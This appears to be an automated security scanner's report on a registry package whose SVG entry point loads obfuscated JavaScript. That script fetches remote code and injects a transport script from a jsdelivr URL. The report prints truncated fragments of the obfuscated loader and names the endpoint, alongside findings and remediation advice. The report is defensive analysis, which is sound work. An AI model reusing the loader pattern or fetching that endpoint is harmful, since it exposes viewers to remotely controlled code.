registry / Remote code execution / @arsenicdisc2/achroma.svg
@arsenicdisc2/achroma.svg
Achroma SVG
This report shows the evidence for @arsenicdisc2/achroma.svg@1.0.0, the only known version.
AI Security Review
scanned 14d ago · by lpm-firewall-aiThe package entry point is an SVG that loads heavily obfuscated JavaScript with remote-fetch behavior, and the page also injects a remote transport script. This is an active remote-code loading chain, so the package should be blocked.
Static reason
One or more suspicious static signals were detected.
Trigger
Opening index.svg in a browser or SVG-capable viewer.
Impact
Remote code can execute in the page’s context, exposing the viewer to behavior controlled by the remote resources.
Mechanism
The SVG loads achroma.js; that script fetches remote content, while the page creates a script element for a transport client hosted on cdn.jsdelivr.net.
Attack narrative
Opening the SVG loads obfuscated JavaScript that fetches remote content and installs a remote transport client by adding a script element. This gives remotely hosted code a path to execute in the page context.
AI rationale
The package entry point is an SVG that loads heavily obfuscated JavaScript with remote-fetch behavior, and the page also injects a remote transport script. This is an active remote-code loading chain, so the package should be blocked.
Evidence
index.svgachroma.jsportable/assets/main-FhRh95aO.js
Network endpoints1
cdn.jsdelivr.net/gh/achroma-ubg/engine@latest/transport/index.js
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The manifest names index.svg as the entry point, and that document loads achroma.js.
- Obfuscated achroma.js fetches remote code and additional required resources.
- The page also loads a transport script from cdn.jsdelivr.net at runtime.
Evidence against
Behavioral surface
NetworkWebSocket
HighEntropyStringsMinifiedObfuscatedTelemetryUrlStrings
NoLicense
Source & flagged code
5 flagged · loading sourceachroma.jsView file
1function _0x543e(_0x3f3eec,_0x304232){_0x3f3eec=_0x3f3eec-0x1bd;var _0x2bda1d=_0x2bda();var _0x543e8c=_0x2bda1d[_0x3f3eec];if(_0x543e['NuYaEL']===undefined){var _0x21ddce=function(...
High
Obfuscated Payload Loader
Source contains an obfuscated payload loader that reconstructs and executes hidden code.
achroma.jsView on unpkg · L11}}));}var _0x47a4e5=new Map();async function _0x6a60ce(_0x465032){var _0x122c4e=_0x40054a;let _0x3a68cd=await fetch(_0x465032[_0x122c4e(0x1811)],{'cache':_0x122c4e(0x10c6)});if(!_0x3a68cd['ok'])throw Error(_0x122c4e(0x19
High
Ai Review Evidence
Obfuscated achroma.js fetches remote code and additional required resources.
achroma.jsView on unpkg · L1portable/assets/main-FhRh95aO.jsView file
16</g>
L17: </svg>`,ne=window.__ACHROMA_TRANSPORT__;ne!==void 0&&Reflect.deleteProperty(window,`__ACHROMA_TRANSPORT__`);function h(){window.lucide&&window.lucide.createIcons();let e=document.g...
Findings
6 High2 Medium4 Low
HighObfuscated Payload Loaderachroma.js
HighBase64 Obscured Urlportable/assets/main-FhRh95aO.js
HighObfuscated
HighSemantic Analysis Limitedassets/chat-BoW_NCo3.js#virtual:normalized:round1
HighAi Review Evidencepackage.json
HighAi Review Evidenceachroma.js
MediumNetwork
MediumStructural Risk Force Deep Review
LowHigh Entropy Strings
LowTelemetry
LowUrl Strings
LowNo License
Affected versions and remediation
This report applies to @arsenicdisc2/achroma.svg@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing @arsenicdisc2/achroma.svg@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.
